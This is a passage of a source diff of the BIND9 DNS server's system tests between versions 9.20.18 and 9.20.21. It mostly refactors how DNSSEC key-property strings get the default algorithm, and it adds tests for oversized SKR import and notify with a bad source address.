goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk 63072000 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent missing", + f"zsk 31536000 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ], }, id="ksk-missing.autosign", @@ -454,8 +446,8 @@ "config": autosign_config, "offset": -timedelta(days=30 * 6), "key-properties": [ - f"ksk 63072000 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk 31536000 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent missing", + f"ksk 63072000 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk 31536000 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent missing", ], }, id="zsk-missing.autosign", @@ -514,8 +506,8 @@ }, "key-directories": ["{keydir}/ksk", "{keydir}/zsk"], "key-properties": [ - f"ksk unlimited {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk unlimited {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk unlimited {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk unlimited {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ], }, id="keystore.kasp", @@ -597,7 +589,7 @@ }, id="secondary.kasp", marks=pytest.mark.flaky( - max_runs=2, rerun_filter=isctest.mark.is_host_freebsd_13 + max_runs=2, rerun_filter=isctest.mark.is_host_freebsd ), ), pytest.param( @@ -616,7 +608,7 @@ "policy": "unlimited", "config": kasp_config, "key-properties": [ - f"csk 0 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="unlimited.kasp", @@ -913,7 +905,7 @@ ns3.rndc(f"loadkeys {zone}") watcher.wait_for_line(f"zone {zone}/IN (signed): {expectmsg}") # Nothing has changed. - expected[0].private = False # noqa + expected[0].private = False isctest.kasp.check_dnssec_verify(ns3, zone) isctest.kasp.check_keys(zone, keys, expected) isctest.kasp.check_keytimes(keys, expected) @@ -1062,18 +1054,16 @@ assert f"zone_resigninc: zone {zone}/IN (unsigned): enter" not in "ns3/named.run" -def test_kasp_checkds(ns3): +def test_kasp_checkds(ns3, default_algorithm): def wait_for_metadata(): return isctest.util.file_contents_contain(ksk.statefile, metadata) # Zone: checkds-ksk.kasp. zone = "checkds-ksk.kasp" policy = "checkds-ksk" - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] policy_keys = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ] isctest.kasp.wait_keymgr_done(ns3, zone) @@ -1106,19 +1096,17 @@ isctest.kasp.check_keys(zone, keys, expected) -def test_kasp_checkds_doubleksk(ns3): +def test_kasp_checkds_doubleksk(ns3, default_algorithm): def wait_for_metadata(): return isctest.util.file_contents_contain(ksk.statefile, metadata) # Zone: checkds-doubleksk.kasp. zone = "checkds-doubleksk.kasp" policy = "checkds-doubleksk" - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] policy_keys = [ - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"ksk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk unlimited {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"ksk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ] isctest.kasp.wait_keymgr_done(ns3, zone) @@ -1180,17 +1168,15 @@ isctest.kasp.check_keys(zone, keys, expected) -def test_kasp_checkds_csk(ns3): +def test_kasp_checkds_csk(ns3, default_algorithm): def wait_for_metadata(): return isctest.util.file_contents_contain(ksk.statefile, metadata) # Zone: checkds-csk.kasp. zone = "checkds-csk.kasp" policy = "checkds-csk" - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] policy_keys = [ - f"csk unlimited {alg} {size} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk unlimited {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ] isctest.kasp.wait_keymgr_done(ns3, zone) @@ -1468,7 +1454,7 @@ isctest.kasp.check_keytimes(keys, expected) -def test_kasp_zsk_retired(ns3): +def test_kasp_zsk_retired(ns3, default_algorithm): config = { "dnskey-ttl": timedelta(seconds=300), "ds-ttl": timedelta(days=1), @@ -1483,14 +1469,12 @@ zone = "zsk-retired.autosign" policy = "autosign" - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] key_properties = [ - f"ksk 63072000 {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"ksk 63072000 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", # zsk predecessor - f"zsk 31536000 {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent", + f"zsk 31536000 {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent", # zsk successor - f"zsk 31536000 {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:hidden", + f"zsk 31536000 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:hidden", ] isctest.kasp.wait_keymgr_done(ns3, zone) @@ -1689,18 +1673,16 @@ isctest.run.retry_with_timeout(check_soa_ttl, timeout=10) -def test_kasp_manual_mode(ns3): +def test_kasp_manual_mode(ns3, default_algorithm): keydir = ns3.identifier zone = "keyfiles-missing.manual" policy = "manual" ttl = int(autosign_config["dnskey-ttl"].total_seconds()) offset = -timedelta(days=30 * 6) - alg = os.environ["DEFAULT_ALGORITHM_NUMBER"] - size = os.environ["DEFAULT_BITS"] keyprops = [ - f"ksk {lifetime['P2Y']} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk {lifetime['P2M']} {alg} {size} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk {lifetime['P2Y']} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk {lifetime['P2M']} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ] isctest.kasp.wait_keymgr_done(ns3, zone) @@ -1775,9 +1757,9 @@ # Check keys again, make sure the rollover has started. keyprops = [ - f"ksk {lifetime['P2Y']} {alg} {size} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk {lifetime['P2M']} {alg} {size} goal:hidden dnskey:omnipresent zrrsig:omnipresent", - f"zsk {lifetime['P2M']} {alg} {size} goal:omnipresent dnskey:rumoured zrrsig:hidden", + f"ksk {lifetime['P2Y']} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk {lifetime['P2M']} {default_algorithm.number} {default_algorithm.bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent", + f"zsk {lifetime['P2M']} {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured zrrsig:hidden", ] expected = isctest.kasp.policy_to_properties(ttl=ttl, keys=keyprops) keys = isctest.kasp.keydir_to_keylist(zone, keydir) diff -Nru bind9-9.20.18/bin/tests/system/keepalive/tests_keepalive.py bind9-9.20.21/bin/tests/system/keepalive/tests_keepalive.py --- bind9-9.20.18/bin/tests/system/keepalive/tests_keepalive.py 2026-01-09 13:39:28.110972952 +0000 +++ bind9-9.20.21/bin/tests/system/keepalive/tests_keepalive.py 2026-03-13 22:01:10.645879137 +0000 @@ -9,9 +9,9 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import isctest import pytest +import isctest pytestmark = pytest.mark.extra_artifacts( ["ns2/named.stats"], diff -Nru bind9-9.20.18/bin/tests/system/keyfromlabel/tests_keyfromlabel.py bind9-9.20.21/bin/tests/system/keyfromlabel/tests_keyfromlabel.py --- bind9-9.20.18/bin/tests/system/keyfromlabel/tests_keyfromlabel.py 2026-01-09 13:39:28.110972952 +0000 +++ bind9-9.20.21/bin/tests/system/keyfromlabel/tests_keyfromlabel.py 2026-03-13 22:01:10.645879137 +0000 @@ -9,16 +9,16 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from re import compile as Re + import hashlib import os -from re import compile as Re import shutil import pytest import isctest.mark - pytestmark = [ isctest.mark.softhsm2_environment, pytest.mark.extra_artifacts( @@ -86,7 +86,6 @@ assert Re("Found token (.*) with matching token label") in cmd.out -# pylint: disable-msg=too-many-locals @pytest.mark.parametrize( "alg_name,alg_type,alg_bits", [ diff -Nru bind9-9.20.18/bin/tests/system/ksr/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/ksr/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/ksr/ns1/named.conf.j2 2026-01-09 13:39:28.110972952 +0000 +++ bind9-9.20.21/bin/tests/system/ksr/ns1/named.conf.j2 2026-03-13 22:01:10.645879137 +0000 @@ -93,3 +93,17 @@ zsk lifetime unlimited algorithm @DEFAULT_ALGORITHM@; }; }; + +dnssec-policy "invalid-skr" { + offline-ksk yes; + keys { + ksk lifetime unlimited algorithm @DEFAULT_ALGORITHM@; + zsk lifetime unlimited algorithm @DEFAULT_ALGORITHM@; + }; +}; + +zone "invalid-skr.test" { + type primary; + file "invalid-skr.test.db"; + dnssec-policy "invalid-skr"; +}; diff -Nru bind9-9.20.18/bin/tests/system/ksr/ns1/setup.sh bind9-9.20.21/bin/tests/system/ksr/ns1/setup.sh --- bind9-9.20.18/bin/tests/system/ksr/ns1/setup.sh 2026-01-09 13:39:28.110972952 +0000 +++ bind9-9.20.21/bin/tests/system/ksr/ns1/setup.sh 2026-03-13 22:01:10.645879137 +0000 @@ -27,3 +27,4 @@ cp template.db.in unlimited.test.db cp template.db.in two-tone.test.db cp template.db.in ksk-roll.test.db +cp template.db.in invalid-skr.test.db diff -Nru bind9-9.20.18/bin/tests/system/ksr/tests_ksr.py bind9-9.20.21/bin/tests/system/ksr/tests_ksr.py --- bind9-9.20.18/bin/tests/system/ksr/tests_ksr.py 2026-01-09 13:39:28.111972978 +0000 +++ bind9-9.20.21/bin/tests/system/ksr/tests_ksr.py 2026-03-13 22:01:10.646879105 +0000 @@ -10,6 +10,7 @@ # information regarding copyright ownership. from datetime import timedelta + import os import re import shutil @@ -17,8 +18,10 @@ import pytest -import isctest from isctest.kasp import KeyTimingMetadata +from isctest.vars.algorithms import Algorithm + +import isctest pytestmark = pytest.mark.extra_artifacts( [ @@ -31,6 +34,7 @@ "past.test.*", "two-tone.test.*", "unlimited.test.*", + "invalid-skr.test.*", "ns1/K*", "ns1/_default.nzd", "ns1/_default.nzf", @@ -74,6 +78,11 @@ "ns1/unlimited.test.db.signed", "ns1/unlimited.test.db.signed.jnl", "ns1/unlimited.test.unlimited.skr.1", + "ns1/invalid-skr.test.db", + "ns1/invalid-skr.test.db.jbk", + "ns1/invalid-skr.test.db.signed", + "ns1/invalid-skr.test.db.signed.jnl", + "ns1/invalid-skr.test.skr.1", ] ) @@ -110,12 +119,17 @@ def check_keys( keys, lifetime, - alg=os.environ["DEFAULT_ALGORITHM_NUMBER"], - size=os.environ["DEFAULT_BITS"], + alg=None, + size=None, offset=0, with_state=False, ): # Check keys that were created. + if alg is None: + alg = Algorithm.default().number + if size is None: + size = Algorithm.default().bits + num = 0 now = KeyTimingMetadata.now() @@ -501,7 +515,6 @@ # collect keys that should be in this bundle # collect lines that should be in this bundle bundle_keys.append(key) - # pylint: disable=unused-variable for _arg in expected_cds: bundle_lines.append(lines[line_no]) line_no += 1 @@ -1289,3 +1302,21 @@ isctest.kasp.check_apex(ns1, zone, ksks, zsks, offline_ksk=True) # - check subdomain isctest.kasp.check_subdomain(ns1, zone, ksks, zsks, offline_ksk=True) + + +def test_ksr_oversize(ns1): + zone = "invalid-skr.test" + n = 1 + + skr_fname = f"{zone}.skr.{n}" + token_len = 5000 + with open(skr_fname, "w", encoding="utf-8") as skr: + huge_token = "A" * token_len + skr.write(f";; SignedKeyResponse 1.0 {huge_token}\n") + + # - try importing invalid SKR file + shutil.copyfile(skr_fname, f"ns1/{skr_fname}") + ns1.rndc(f"skr -import {skr_fname} {zone}") + + # - check if named is still running + ns1.rndc("status") diff -Nru bind9-9.20.18/bin/tests/system/limits/tests_limits.py bind9-9.20.21/bin/tests/system/limits/tests_limits.py --- bind9-9.20.18/bin/tests/system/limits/tests_limits.py 2026-01-09 13:39:28.115973083 +0000 +++ bind9-9.20.21/bin/tests/system/limits/tests_limits.py 2026-03-13 22:01:10.650878977 +0000 @@ -11,13 +11,11 @@ import itertools -import isctest +import dns.flags +import dns.rrset import pytest -# Everything from getting a big answer to creating an RR set with thousands -# of records takes minutes of CPU and real time with dnspython < 2.0.0. -pytest.importorskip("dns", minversion="2.0.0") -import dns.rrset +import isctest @pytest.mark.parametrize( diff -Nru bind9-9.20.18/bin/tests/system/migrate2kasp/tests_migrate2kasp.py bind9-9.20.21/bin/tests/system/migrate2kasp/tests_migrate2kasp.py --- bind9-9.20.18/bin/tests/system/migrate2kasp/tests_migrate2kasp.py 2026-01-09 13:39:28.120973214 +0000 +++ bind9-9.20.21/bin/tests/system/migrate2kasp/tests_migrate2kasp.py 2026-03-13 22:01:10.656878785 +0000 @@ -9,15 +9,15 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import os - from datetime import timedelta +import os + import pytest -pytest.importorskip("dns", minversion="2.0.0") +from isctest.vars.algorithms import Algorithm + import isctest -import isctest.mark pytestmark = pytest.mark.extra_artifacts( [ @@ -135,8 +135,8 @@ "config": standard_config, "offset": 0, "key-properties": [ - f"ksk 0 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:rumoured", - f"zsk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:rumoured", + f"zsk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ], }, id="migrate.kasp", @@ -150,7 +150,7 @@ "config": default_config, "offset": 0, "key-properties": [ - f"csk 0 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:rumoured", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:rumoured", ], }, id="csk.kasp", @@ -164,7 +164,7 @@ "config": default_config, "offset": 0, "key-properties": [ - f"csk 0 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:rumoured", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:rumoured", ], }, id="csk-nosep.kasp", @@ -178,8 +178,8 @@ "config": timing_config, "offset": -timedelta(seconds=300), "key-properties": [ - f"ksk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:rumoured", - f"zsk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:rumoured", + f"zsk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ], }, id="rumoured.kasp", @@ -193,8 +193,8 @@ "config": timing_config, "offset": -timedelta(seconds=3900), "key-properties": [ - f"ksk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ], }, id="omnipresent.kasp", @@ -208,8 +208,8 @@ "config": timing_config, "offset": -timedelta(hours=12), "key-properties": [ - f"ksk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured", - f"zsk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:rumoured", + f"zsk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ], }, id="no-syncpublish.kasp", @@ -225,8 +225,8 @@ "key-properties": [ "ksk - 8 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", "zsk - 8 2048 goal:hidden dnskey:omnipresent zrrsig:omnipresent", - f"ksk 0 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", - f"zsk {lifetime['P60D']} {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured zrrsig:rumoured", + f"ksk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured ds:hidden", + f"zsk {lifetime['P60D']} {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured zrrsig:rumoured", ], }, id="migrate-nomatch-algnum.kasp", @@ -258,10 +258,10 @@ "config": migrate_config, "offset": -timedelta(seconds=3900), "key-properties": [ - f"ksk - {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk - {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:hidden dnskey:omnipresent zrrsig:omnipresent", + f"ksk - {Algorithm.default().number} {Algorithm.default().bits} goal:hidden dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk - {Algorithm.default().number} {Algorithm.default().bits} goal:hidden dnskey:omnipresent zrrsig:omnipresent", # This key is considered to be prepublished, so it is not yet signing, nor is the DS introduced. - f"csk 0 {os.environ['DEFAULT_ALGORITHM_NUMBER']} {os.environ['DEFAULT_BITS']} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:hidden ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:hidden ds:hidden", ], }, id="migrate-nomatch-kzc.kasp", diff -Nru bind9-9.20.18/bin/tests/system/multisigner/tests_multisigner.py bind9-9.20.21/bin/tests/system/multisigner/tests_multisigner.py --- bind9-9.20.18/bin/tests/system/multisigner/tests_multisigner.py 2026-01-09 13:39:28.125973345 +0000 +++ bind9-9.20.21/bin/tests/system/multisigner/tests_multisigner.py 2026-03-13 22:01:10.661878625 +0000 @@ -10,14 +10,16 @@ # information regarding copyright ownership. from datetime import timedelta -import os from re import compile as Re -import pytest +import os -pytest.importorskip("dns", minversion="2.0.0") -import dns +import dns.name +import dns.rcode +import dns.rdataclass +import dns.rdatatype import dns.update +import pytest import isctest @@ -46,8 +48,6 @@ ] ) -ALGORITHM = os.environ["DEFAULT_ALGORITHM_NUMBER"] -SIZE = os.environ["DEFAULT_BITS"] CONFIG = { "dnskey-ttl": timedelta(hours=1), "ds-ttl": timedelta(days=1), @@ -503,11 +503,11 @@ check_dnssec(server, zone, keys, expected) -def test_multisigner(ns3, ns4): +def test_multisigner(ns3, ns4, default_algorithm): zone = "model2.multisigner" keyprops = [ - f"ksk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ] # First make sure the zone is properly signed. @@ -530,10 +530,10 @@ check_dnssec(ns4, zone, keys4, expected4) # Add DNSKEY to RRset. - newprops = [f"zsk unlimited {ALGORITHM} {SIZE}"] + newprops = [f"zsk unlimited {default_algorithm.number} {default_algorithm.bits}"] extra = isctest.kasp.policy_to_properties(ttl=TTL, keys=newprops) - extra[0].private = False # noqa - extra[0].legacy = True # noqa + extra[0].private = False + extra[0].legacy = True check_add_zsk(ns3, zone, keys3, expected3, [zsks4[0]], extra) check_add_zsk(ns4, zone, keys4, expected4, [zsks3[0]], extra) @@ -545,10 +545,10 @@ check_no_dnssec_in_journal(ns4, zone) # Add CDNSKEY RRset. - newprops = [f"ksk unlimited {ALGORITHM} {SIZE}"] + newprops = [f"ksk unlimited {default_algorithm.number} {default_algorithm.bits}"] extra = isctest.kasp.policy_to_properties(ttl=TTL, keys=newprops) - extra[0].private = False # noqa - extra[0].legacy = True # noqa + extra[0].private = False + extra[0].legacy = True check_add_cdnskey(ns3, zone, keys3, expected3, [ksks4[0]], extra) check_add_cdnskey(ns4, zone, keys4, expected4, [ksks3[0]], extra) @@ -574,11 +574,11 @@ check_no_dnssec_in_journal(ns4, zone) -def test_multisigner_secondary(ns3, ns4, ns5): +def test_multisigner_secondary(ns3, ns4, ns5, default_algorithm): zone = "model2.secondary" keyprops = [ - f"ksk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", - f"zsk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", + f"ksk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent ds:omnipresent", + f"zsk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:omnipresent zrrsig:omnipresent", ] # First make sure the zone is properly signed. @@ -601,10 +601,10 @@ check_dnssec(ns4, zone, keys4, expected4) # Add DNSKEY to RRset. - newprops = [f"zsk unlimited {ALGORITHM} {SIZE}"] + newprops = [f"zsk unlimited {default_algorithm.number} {default_algorithm.bits}"] extra = isctest.kasp.policy_to_properties(ttl=TTL, keys=newprops) - extra[0].private = False # noqa - extra[0].legacy = True # noqa + extra[0].private = False + extra[0].legacy = True check_add_zsk(ns3, zone, keys3, expected3, [zsks4[0]], extra, primary=ns5) check_add_zsk(ns4, zone, keys4, expected4, [zsks3[0]], extra, primary=ns5) @@ -618,10 +618,10 @@ check_no_dnssec_in_journal(ns4, zone) # Add CDNSKEY RRset. - newprops = [f"ksk unlimited {ALGORITHM} {SIZE}"] + newprops = [f"ksk unlimited {default_algorithm.number} {default_algorithm.bits}"] extra = isctest.kasp.policy_to_properties(ttl=TTL, keys=newprops) - extra[0].private = False # noqa - extra[0].legacy = True # noqa + extra[0].private = False + extra[0].legacy = True check_add_cdnskey(ns3, zone, keys3, expected3, [ksks4[0]], extra, primary=ns5) check_add_cdnskey(ns4, zone, keys4, expected4, [ksks3[0]], extra, primary=ns5) diff -Nru bind9-9.20.18/bin/tests/system/names/tests_names.py bind9-9.20.21/bin/tests/system/names/tests_names.py --- bind9-9.20.18/bin/tests/system/names/tests_names.py 2026-01-09 13:39:28.126973372 +0000 +++ bind9-9.20.21/bin/tests/system/names/tests_names.py 2026-03-13 22:01:10.661878625 +0000 @@ -9,10 +9,6 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import pytest - -pytest.importorskip("dns", minversion="2.7.0") - import isctest diff -Nru bind9-9.20.18/bin/tests/system/notify/ns2/named.conf.j2 bind9-9.20.21/bin/tests/system/notify/ns2/named.conf.j2 --- bind9-9.20.18/bin/tests/system/notify/ns2/named.conf.j2 2026-01-09 13:39:28.128973424 +0000 +++ bind9-9.20.21/bin/tests/system/notify/ns2/named.conf.j2 2026-03-13 22:01:10.664878529 +0000 @@ -97,3 +97,19 @@ zone x19 { type primary; file "generic.db"; also-notify { 10.53.0.3; }; }; zone x20 { type primary; file "generic.db"; also-notify { 10.53.0.3; }; }; zone x21 { type primary; file "x21.db"; allow-update { any; }; also-notify { x21; }; }; + +key 10.53.0.53 { + algorithm hmac-sha256; + secret "aaaabbbbccccddddeeeeffffgggghhhhiiii"; +}; + +server 10.53.0.53 { + notify-source 198.51.100.0; // non existant / not configured + keys 10.53.0.53; +}; + +zone "change-ns" { + type primary; + file "change-ns.db"; + allow-update { any; }; +}; diff -Nru bind9-9.20.18/bin/tests/system/notify/setup.sh bind9-9.20.21/bin/tests/system/notify/setup.sh --- bind9-9.20.18/bin/tests/system/notify/setup.sh 2026-01-09 13:39:28.129973450 +0000 +++ bind9-9.20.21/bin/tests/system/notify/setup.sh 2026-03-13 22:01:10.664878529 +0000 @@ -15,3 +15,4 @@ cp -f ns2/example1.db ns2/example.db cp -f ns2/generic.db ns2/x21.db +cp -f ns2/generic.db ns2/change-ns.db diff -Nru bind9-9.20.18/bin/tests/system/notify/tests.sh bind9-9.20.21/bin/tests/system/notify/tests.sh --- bind9-9.20.18/bin/tests/system/notify/tests.sh 2026-01-09 13:39:28.129973450 +0000 +++ bind9-9.20.21/bin/tests/system/notify/tests.sh 2026-03-13 22:01:10.664878529 +0000 @@ -240,5 +240,18 @@ wait_for_log 30 'retries exceeded' ns3/named.run || ret=1 test_end +test_start "checking notify with bad notify source address and tsig" +$NSUPDATE <dig.out.test$n || ret=1 +grep "ns2.change-ns." dig.out.test$n >/dev/null || ret=1 +test_end + echo_i "exit status: $status" [ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.18/bin/tests/system/notify/tests_sh_notify.py bind9-9.20.21/bin/tests/system/notify/tests_sh_notify.py --- bind9-9.20.18/bin/tests/system/notify/tests_sh_notify.py 2026-01-09 13:39:28.129973450 +0000 +++ bind9-9.20.21/bin/tests/system/notify/tests_sh_notify.py 2026-03-13 22:01:10.665878497 +0000 @@ -15,6 +15,8 @@ [ "awk.out.*", "dig.out.*", + "ns2/change-ns.db", + "ns2/change-ns.db.jnl", "ns2/example.db", "ns2/named-tls.conf", "ns2/x21.db*", diff -Nru bind9-9.20.18/bin/tests/system/nsec/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec/ns1/named.conf.j2 2026-03-13 22:01:10.665878497 +0000 @@ -0,0 +1,29 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 